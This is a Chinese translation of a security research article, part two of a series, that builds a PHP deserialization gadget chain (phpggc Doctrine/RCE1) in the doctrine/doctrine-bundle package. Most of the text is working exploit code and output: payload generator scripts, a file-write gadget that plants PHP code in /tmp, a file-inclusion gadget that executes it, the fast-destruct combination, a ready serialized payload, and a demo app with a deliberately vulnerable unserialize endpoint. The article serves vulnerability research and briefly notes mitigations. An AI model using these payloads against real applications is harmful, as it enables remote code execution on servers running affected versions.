原文链接:FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE : PART 2
译者:知道创宇404实验室翻译组
Symfony doctrine/doctrine-bundle 是安装在 Symfony应用程序中最常见的包之一。截止本文发布时,它已被下载1.44 亿次,使其成为一个有趣的反序列化利用目标。
POP 链使用的所有代码已在《在通用 Symfony 包中寻找 POP 链(上)》中详细介绍,本文将详细介绍上一章节中提到的如何用已分析的代码构建有效的POP链以及如何构建我们的有效负载,该POP链目前已经作为Doctrine/RCE1提交到phpggc中。
serialize.php
文件用于生成有效负载,模板如下所示:
<?php
namespace <namespace_name_from_vendor>
{
[...]
}
[...]
namespace PopChain
{
use <class_name_from_vendor>;
$obj =<class_name_from_vendor>();
[...]
$serialized = serialize($obj);
echo serialize($obj);
}
该unserialize.php
文件用于测试反序列化。在这种情况下,包含来自doctrine/doctrine-bundle
包的依赖项。
<?php
include "vendor/autoload.php";
unserialize('<serizalized_data_to_test>');
这些doctrine-bundle
包是通过 Composer 安装的。
$ composer require doctrine/doctrine-bundle
./composer.json has been ,
Running composer update doctrine/doctrine-bundle
Loading composer repositories with package information
Updating dependencies
Nothing to modify in lock file
Installing dependencies from lock file (including require-dev)
Package operations: 35 installs, 0 updates, 0 removals
[...]
访问CacheAdapter
让我们看看反序列化CacheAdapter
对象会发生什么。
<?php
namespace Doctrine\Common\Cache\Psr6
{
class CacheAdapter
{
}
}
namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;
$obj = new CacheAdapter();
$serialized = serialize($obj);
echo serialize($obj);
}
$ php unserialize.php
因为commit
函数中的所有逻辑都依赖于 defferedItems
属性,初始情况下不会有任何反应。如果未定义该属性,代码将简单地返回true。
<?php
namespace Doctrine\Common\Cache\Psr6;
final class CacheAdapter implements CacheItemPoolInterface
{
/** @var Cache */
private $cache;
/** @var array<CacheItem|TypedCacheItem> */
private $deferredItems = [];
[...]
public function commit(): bool
{
if (! $this->deferredItems) {
return true;
}
[...]
}
}
通过将defferedItems
设置为空数组,我们得到以下错误消息,这意味着我们确实到达了该commit
函数。
$ php unserialize.php
Fatal error: Uncaught TypeError: Doctrine\Common\Cache\Psr6\CacheAdapter::commit(): Return value must be of type bool, null returned in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php:235
Stack trace:
#0 /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#1 /tmp/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#2 {main}
thrown in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php on line 235
为了在代码中继续执行,必须设置至少一个deferredItem
。 根据代码中定义的PHP注释,它应该是一个CacheItem
或TypedCacheItem
,本文后续将解释这种差异(参见PHP 版本差异)。因此,在TypedCacheItem
数组中添加了 deferredItems
。
正如我们在foreach
循环中看到的,因为在expiry上进行了检查,因此我们的TypedCacheItem必须定义一个expiry属性。在循环内部,value还将对其进行检查。
<?php
namespace Doctrine\Common\Cache\Psr6;
[...]
final class TypedCacheItem implements CacheItemInterface
{
private ?float $expiry = null;
public function get(): mixed
{
return $this->value;
}
public function getExpiry(): ?float
{
return $this->expiry;
}
}
deferredItem
expiry
值导致两种不同的可能性。如果当前时间戳小于deferredItem
expiry
,则进入save
方法。
<?php
namespace Doctrine\Common\Cache\Psr6
{
class CacheAdapter
{
public $deferredItems = true;
}
class TypedCacheItem
{
public $expiry = 99999999999999999;
public $value = "test";
}
}
namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;
$obj = new CacheAdapter();
$obj->deferredItems = [new TypedCacheItem()];
echo serialize($obj);
}
$ php unserialize.php
Fatal error: Uncaught Error: Call to a member function save() on null in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php:235
Stack trace:
#0 /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#1 /tmp/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#2 {main}
thrown in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php on line 235
如果当前时间戳大于deferredItem
的expiry
,则进入delete
方法。
<?php
namespace Doctrine\Common\Cache\Psr6
{
class CacheAdapter
{
public $deferredItems = true;
}
class TypedCacheItem
{
public $expiry = 1;
public $value = "test";
}
}
namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;
$obj = new CacheAdapter();
$obj->deferredItems = [new TypedCacheItem()];
echo serialize($obj);
}
$ php unserialize.php
Fatal error: Uncaught Error: Call to a member function delete() on null in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php:227
Stack trace:
#0 /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#1 /tmp/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#2 {main}
thrown in /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php on line 227
写入文件
该 POP 链的第一个目标是在文件系统中写入一个文件。为此,我们需要调用MockFileSessionStorage
的save
函数。
save
方法将在CacheAdapter对象的cache属性上调用。在我们的文件中进行定义后,MockFileSessionStorage发生了异常。
<?php
namespace Doctrine\Common\Cache\Psr6
{
class CacheAdapter
{
public $deferredItems = true;
}
class TypedCacheItem
{
public $expiry = 99999999999999999;
public $value = "test";
}
}
namespace Symfony\Component\HttpFoundation\Session\Storage
{
class MockFileSessionStorage
{
}
}
namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;
use Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage;
$obj = new CacheAdapter();
$obj->cache = new MockFileSessionStorage();
$obj->deferredItems = [new TypedCacheItem()];
echo serialize($obj);
}
$ php unserialize.php
Fatal error: Uncaught RuntimeException: Trying to save a session that was not started yet or was already closed. in /tmp/vendor/symfony/http-foundation/Session/Storage/MockFileSessionStorage.php:79
Stack trace:
#0 /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(235): Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage->save(0, 'test', 99999998326133680)
#1 /tmp/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#2 /tmp/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#3 {main}
thrown in /tmp/vendor/symfony/http-foundation/Session/Storage/MockFileSessionStorage.php on line 79
快速分析一下该save
函数。如果started
没有定义该属性,就会触发前面的异常,所以需要将其设置为true
。MetadataBag
对象还必须使用storageKey
属性来定义。
$ find . -name '*MetadataBag*'
./vendor/symfony/http-foundation/Session/Storage/MetadataBag.php
$ cat ./vendor/symfony/http-foundation/Session/Storage/MetadataBag.php | grep getStorageKey -A 3
public function getStorageKey(): string
{
return $this->storageKey;
}
最后,需要向MockFileSessionStorage
对象添加以下属性:
savePath
:在其中创建文件的路径id
将附加mocksess
扩展的文件名data
:将生成文件内容,这里将包含我们要在服务器上执行的PHP代码
<?php
namespace Doctrine\Common\Cache\Psr6
{
class CacheAdapter
{
public $deferredItems = true;
}
class TypedCacheItem
{
public $expiry = 99999999999999999;
public $value = "test";
}
}
namespace Symfony\Component\HttpFoundation\Session\Storage
{
class MockFileSessionStorage
{
public $started = true;
public $savePath = "/tmp"; // Produces /tmp/aaa.mocksess
public $id = "aaa";
public $data = ['<?php system("id"); phpinfo(); ?>'];
}
class MetadataBag
{
public $storageKey = "a";
}
}
namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;
use Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage;
use Symfony\Component\HttpFoundation\Session\Storage\MetadataBag;
$obj = new CacheAdapter();
$obj->deferredItems = [new TypedCacheItem()];
$mockSessionStorage = new MockFileSessionStorage();
$mockSessionStorage->metadataBag = new MetadataBag();
$obj->cache =$mockSessionStorage;
echo serialize($obj);
}
如以下 bash 代码片段所示,在反序列化有效负载之后,服务器上会生成aaa.mocksess
文件。由于我们已成功在一个可控制的路径上创建了一个文件,因此成功地触发注入代码作为PHP代码执行。
$ php unserialize.php
Fatal error: Uncaught TypeError: Doctrine\Common\Cache\Psr6\CacheAdapter::commit(): Return value must be of type bool, null returned in /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php:235
Stack trace:
#0 /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#1 /tmp/poc/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#2 {main}
thrown in /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php on line 235
$ ls -l /tmp/aaa.mocksess
-rw-r--r-- 1 root root 51 Feb 13 15:05 /tmp/aaa.mocksess
$ php /tmp/aaa.mocksess
a:1:{i:0;s:33:"uid=0(root) gid=0(root) groups=0(root)
phpinfo()
PHP Version => 8.1.15
执行文件
下面的代码能到达前面所说PhpArrayAdapter
的initialize
函数。
<?php
namespace Doctrine\Common\Cache\Psr6
{
class CacheAdapter
{
public $deferredItems = true;
}
class TypedCacheItem
{
public $expiry = 1;
public $value = "test";
}
}
namespace Symfony\Component\Cache\Adapter
{
class PhpArrayAdapter
{
}
}
namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;
use Symfony\Component\Cache\Adapter\PhpArrayAdapter;
$obj = new CacheAdapter();
$obj->cache = new PhpArrayAdapter();
$obj->deferredItems = [new TypedCacheItem()];
echo serialize($obj);
}
如果对象没有任何定义,那么可以成功地达到该函数,如下面的输出所示。
$ php unserialize.php
Deprecated: is_file(): Passing null to parameter #1 ($filename) of type string is deprecated in /tmp/poc/vendor/symfony/cache/Adapter/PhpArrayAdapter.php on line 391
Fatal error: Uncaught Error: Call to a member function deleteItem() on null in /tmp/poc/vendor/symfony/cache/Adapter/PhpArrayAdapter.php:196
Stack trace:
#0 /tmp/poc/vendor/symfony/cache-contracts/CacheTrait.php(43): Symfony\Component\Cache\Adapter\PhpArrayAdapter->deleteItem('0')
#1 /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(227): Symfony\Component\Cache\Adapter\PhpArrayAdapter->delete('0')
#2 /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php(248): Doctrine\Common\Cache\Psr6\CacheAdapter->commit()
#3 /tmp/poc/unserialize.php(4): Doctrine\Common\Cache\Psr6\CacheAdapter->__destruct()
#4 {main}
thrown in /tmp/poc/vendor/symfony/cache/Adapter/PhpArrayAdapter.php on line 196
实现文件包含的最后一步是为file属性定义一个值。下面的POP链的目标是执行我们之前生成的/tmp/aaa.mocksess
文件中定义的代码。
<?php
namespace Doctrine\Common\Cache\Psr6
{
class CacheAdapter
{
public $deferredItems = true;
}
class TypedCacheItem
{
public $expiry = 1;
public $value = "test";
}
}
namespace Symfony\Component\Cache\Adapter
{
class PhpArrayAdapter
{
public $file = "/tmp/aaa.mocksess"; // fixed at the time
}
}
namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;
use Symfony\Component\Cache\Adapter\PhpArrayAdapter;
$obj = new CacheAdapter();
$obj->cache = new PhpArrayAdapter();
$obj->deferredItems = [new TypedCacheItem()];
echo serialize($obj);
}
正如我们在反序列化时所看到的,POP链成功地达到了require代码。我们先前写入/tmp/aaa.mocksess的PHP代码得到了执行,从而在系统上触发了代码执行。
$ php unserialize.php
a:1:{i:0;s:33:"uid=0(root) gid=0(root) groups=0(root)
phpinfo()
PHP Version => 8.1.15
System => Linux 184f5674e38c 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
Build Date => Feb 9 2023 08:04:45
两链协调运行
现在我们已经看到如何生成这两个链条,但还有一些细节需要讨论。事实上,通过第一次触发文件写入,然后触发文件包含,这些链可以很好地协同工作,但也可以在一个反序列化中同时触发它们。
快速析构使用
由于POP链由两条链组成,因此必须使用快速析构来强制执行它们两个的调用。
快速析构是一种用于在反序列化后立即触发destruct()
函数的调用的方法。由于我们完全控制了反序列化字符串中定义的对象,因此可以创建异常状态,例如在数组中两次定义相同的索引。这将立即触发destruct()
对象的调用。下面的示例中,快速析构将在\Namespace\Object1
和\Namespace\Object2
上调用,但不会在\Namespace\Object3
上调用。表示快速析构定义的图示。
在我们的 POP 链中,因为我们正在使用基于destruct()定义的两个不同的链条,因此快速析构是必需的。
PHP版本差异
最后一点必须讨论:PHP 版本对于这个 POP 链很重要。
所有的演示都是在兼容TypedCacheItem的 PHP 8版本上进行的。但因为TypedCacheItem与 PHP 7程序不兼容,所以之前的POP链上都会从CacheAdapter上抛出错误。
$ php unserialize.php
Parse error: syntax error, unexpected 'private' (T_PRIVATE), expecting variable (T_VARIABLE) in /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/TypedCacheItem.php on line 24
再次强调,类型定义在这里是一个问题。正如前文所述,defferedItems有两个可能的值:TypedCacheItem
或CacheItem
。CacheItem
在PHP 7及以下版本中应使用CacheItem。
如果从PHP 8安装doctrine/doctrine-bundle
项目,则在使用TypedCacheItem
时将触发以下兼容性问题。
$ php unserialize.php
Fatal error: Declaration of Doctrine\Common\Cache\Psr6\CacheItem::get() must be compatible with Psr\Cache\CacheItemInterface::get(): mixed in /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheItem.php on line 51
因此,POP 链必须根据目标 PHP 版本进行调整。
全链条
在考虑完所有最后步骤后,我们serialize.php
文件的最终版本如下所示:
<?php
/* Entrypoint of the POPchain */
namespace Doctrine\Common\Cache\Psr6
{
class CacheAdapter
{
public $deferredItems = true;
}
class CacheItem
{
public $expiry = 99999999999999999;
public $value = "test";
}
class TypedCacheItem
{
public $expiry = 99999999999999999;
public $value = "test";
}
}
/* File write objects */
namespace Symfony\Component\HttpFoundation\Session\Storage
{
class MockFileSessionStorage
{
public $started = true;
public $savePath = "/tmp"; // Produces /tmp/aaa.mocksess
public $id = "aaa"; // File name
public $data = ['<?php echo "I was TRIGGERED"; system("id"); ?>']; // PHP code executed
}
class MetadataBag
{
public $storageKey = "a";
}
}
/* File inclusion objects */
namespace Symfony\Component\Cache\Adapter
{
class PhpArrayAdapter
{
public $file = "/tmp/aaa.mocksess"; // fixed at the time
}
}
namespace PopChain
{
use Doctrine\Common\Cache\Psr6\CacheAdapter;
use Doctrine\Common\Cache\Psr6\TypedCacheItem;
use Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage;
use Symfony\Component\HttpFoundation\Session\Storage\MetadataBag;
use Symfony\Component\Cache\Adapter\PhpArrayAdapter;
/* CacheItem is compatible with PHP 7.*, TypedCacheItem is compatible with PHP 8.* */
if (preg_match('/^7/', phpversion()))
{
$firstCacheItem = new CacheItem();
$secondCacheItem = new CacheItem();
}
else
{
$firstCacheItem = new TypedCacheItem();
$secondCacheItem = new TypedCacheItem();
}
/* File write */
$obj_write = new CacheAdapter();
$obj_write->deferredItems = [$firstCacheItem];
$mockSessionStorage = new MockFileSessionStorage();
$mockSessionStorage->metadataBag = new MetadataBag();
$obj_write->cache =$mockSessionStorage;
/* File inclusion */
$obj_include = new CacheAdapter();
$obj_include->cache = new PhpArrayAdapter();
$secondCacheItem->expiry = 0; // mandatory to go to another branch from CacheAdapter __destruct
$obj_include->deferredItems = [$secondCacheItem];
$obj = [1000 => $obj_write, 1001 => 1, 2000 => $obj_include, 2001 => 1];
$serialized_string = serialize($obj);
// Setting the indexes for fast destruct
$find_write = (
'#i:(' .
1001 . '|' .
(1001 + 1) .
');#'
);
$replace_write = 'i:' . 1000 . ';';
$serialized_string2 = preg_replace($find_write, $replace_write, $serialized_string);
$find_include = (
'#i:(' .
2001 . '|' .
(2001 + 1) .
');#'
);
$replace_include = 'i:' . 2000 . ';';
echo preg_replace($find_include, $replace_include, $serialized_string2);
}
它将运营两个 POP 链以此在系统上获得代码执行权限。
$ php unserialize.php
a:1:{i:0;s:46:"I was TRIGGEREDuid=0(root) gid=0(root) groups=0(root)
";}
Fatal error: Uncaught TypeError: Doctrine\Common\Cache\Psr6\CacheAdapter::commit(): Return value must be of type bool, null returned in /tmp/poc/vendor/doctrine/cache/lib/Doctrine/Common/Cache/Psr6/CacheAdapter.php:235
[...]
完整的链已经推送到了phpggc项目上,该项目基是寻找公开披露的 POP 链时的参考项目。
使用 phpggc 生成本文的 POP 链非常简单:
$ phpggc Doctrine/rce1 'system("id");'
a:4:{i:1000;O:39:"Doctrine\Common\Cache\Psr6\CacheAdapter":3:{s:13:"deferredItems";a:1:{i:0;O:41:"Doctrine\Common\Cache\Psr6\TypedCacheItem":2:{s:6:"expiry";i:99999999999999999;s:5:"value";s:4:"test";}}s:6:"loader";i:1;s:5:"cache";O:71:"Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage":5:{s:7:"started";b:1;s:8:"savePath";s:4:"/tmp";s:2:"id";s:3:"aaa";s:4:"data";a:1:{i:0;s:22:"<?php system("id"); ?>";}s:11:"metadataBag";O:60:"Symfony\Component\HttpFoundation\Session\Storage\MetadataBag":1:{s:10:"storageKey";s:1:"a";}}}i:1000;i:1;i:2000;O:39:"Doctrine\Common\Cache\Psr6\CacheAdapter":3:{s:13:"deferredItems";a:1:{i:0;O:41:"Doctrine\Common\Cache\Psr6\TypedCacheItem":2:{s:6:"expiry";i:0;s:5:"value";s:4:"test";}}s:6:"loader";i:1;s:5:"cache";O:44:"Symfony\Component\Cache\Adapter\ProxyAdapter":1:{s:4:"pool";O:47:"Symfony\Component\Cache\Adapter\PhpArrayAdapter":1:{s:4:"file";s:17:"/tmp/aaa.mocksess";}}}i:2000;i:1;}
此时,doctrine/doctrine-bundle
自 1.5.1 版本以来该软件包的所有版本都会受到影响。
更多细节可以在以下phpggc拉取请求中找到。
演示:利用一个基于Symfony的应用程序
演示
如果要设置环境,需要创建一个Symfony应用程序,并安装环境。在现实生活中,只要Symfony应用程序使用doctrine作为其ORM,就会安装doctrine/doctrine-bundle
。
为证明此概念,此项目已在以下环境中进行了设置,可以通过运行这些命令进行复现。
$ docker run -it -p 8000:80 php:8.1-apache /bin/bash
$ apt update && apt install wget git unzip libzip-dev
$ wget https://getcomposer.org/installer -O composer-setup.php
$ php composer-setup.php
$ mv composer.phar /usr/local/bin/composer
$ a2enmod rewrite
$ cd /var/www
$ composer create-project symfony/skeleton:"6.2.*" html
$ composer require symfony/maker-bundle --dev
$ php bin/console make:controller UnserializeController
$ composer require symfony/apache-pack
$ composer require doctrine/orm
$ composer require doctrine/doctrine-bundle
$ cat config/routes.yaml
controllers:
resource:
path: ../src/Controller/
namespace: App\Controller
type: annotation
$ cat /etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
[...]
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html/public
[...]
$ service apache2 start
设置完成后,应该能够到达以下页面。而Symfony应用程序必须安装doctrine/doctrine-bundle
。
UnserializeController
类允许用户发送一个经过base64编码的序列化链条来进行反序列化。
<?php
namespace App\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\Routing\Annotation\Route;
class UnserializeController extends AbstractController
{
#[Route('/unserialize')]
public function index(): JsonResponse
{
if (isset($_GET['data'])){
unserialize(base64_decode($_GET['data']));
}
return $this->json([
'message' => 'Please send the data you want to unserialize with data param'
]);
}
}
最后,对易受攻击的控制器的链条利用演示如下。注意:Symfony应用程序和phpggc需要在PHP 8.1.22上进行运行。
doctrine/doctrine-bundle受影响版本
为了测试POP链的有效性,使用了phpggc的 test-gc-compatibility.py脚本。
POP链可以在以下版本的PHP 8上利用,测试在PHP 8.1.22上运行。可以使用以下命令列出受影响的版本:
$ python3 test-gc-compatibility.py doctrine/doctrine-bundle doctrine/RCE1
Running on PHP version PHP 8.1.22 (cli) (built: Feb 11 2023 10:43:39) (NTS).
Testing 136 versions for doctrine/doctrine-bundle against 1 gadget chains.
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/RCE1 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ 2.11.x-dev │ OK │ OK │
│ 2.10.x-dev │ OK │ OK │
│ 2.10.2 │ OK │ OK │
│ 2.10.1 │ OK │ OK │
│ 2.10.0 │ OK │ OK │
│ 2.9.x-dev │ OK │ OK │
│ 2.9.2 │ OK │ OK │
[...]
│ 1.12.x-dev │ OK │ OK │
│ 1.12.13 │ OK │ OK │
│ 1.12.12 │ OK │ OK │
│ 1.12.11 │ OK │ OK │
│ 1.12.10 │ OK │ OK │
[...]
│ 1.6.x-dev │ OK │ OK │
│ 1.6.13 │ OK │ OK │
│ 1.6.12 │ OK │ OK │
│ 1.6.11 │ OK │ OK │
[...]
│ v1.0.0 │ OK │ KO │
│ v1.0.0-RC1 │ OK │ KO │
│ v1.0.0-beta1 │ KO │ - │
│ dev-2.10.x-merge-up-into-2.11.x_IKPBtWeg │ OK │ OK │
│ dev-symfony-7 │ OK │ OK │
└──────────────────────────────────────────┴─────────┴───────────────┘
POP 链也适用于 PHP 7,可以在phpggc pull request找到易受攻击的包。
受影响的项目
话虽这么说,这个技巧本身并不是一个漏洞,只要用户提供的数据被发送到任何使用受影响版本doctrine/doctrine-bundle包的反序列化函数中,就可以使用这个POP链。
要修补unserialize
问题,可以使用allowed_classes
参数来使用有效类的白名单。然而,建议使用更安全的函数来处理用户数据,例如json_encode,并从这种编码中重新创建对象。
写在最后
我们认为分享完整的研究过程可能会很有趣,因为这个 POP 链涉及几个反序列化技巧。虽然这种方法可能不是最优的,但它给出了一个总体逻辑,即用于识别POP链以及如何入门的思路。
在撰写本文时,Doctrine/RCE1 链中简化了一些不必要的步骤。可以在phpggc查看项目详细信息。
使用 PHP 调试器(例如xdebug)将大大提高此过程的速度。本文认为,利用漏洞并不总是必须使用精美的工具,只需要了解正在处理的内容以及目标是什么。即使 POP 链本身无法被利用,寻找它们也是了解 PHP 代码如何深入解释的一个很好的练习。
原文始发于Seebug:在通用 Symfony 包中寻找 POP 链(下)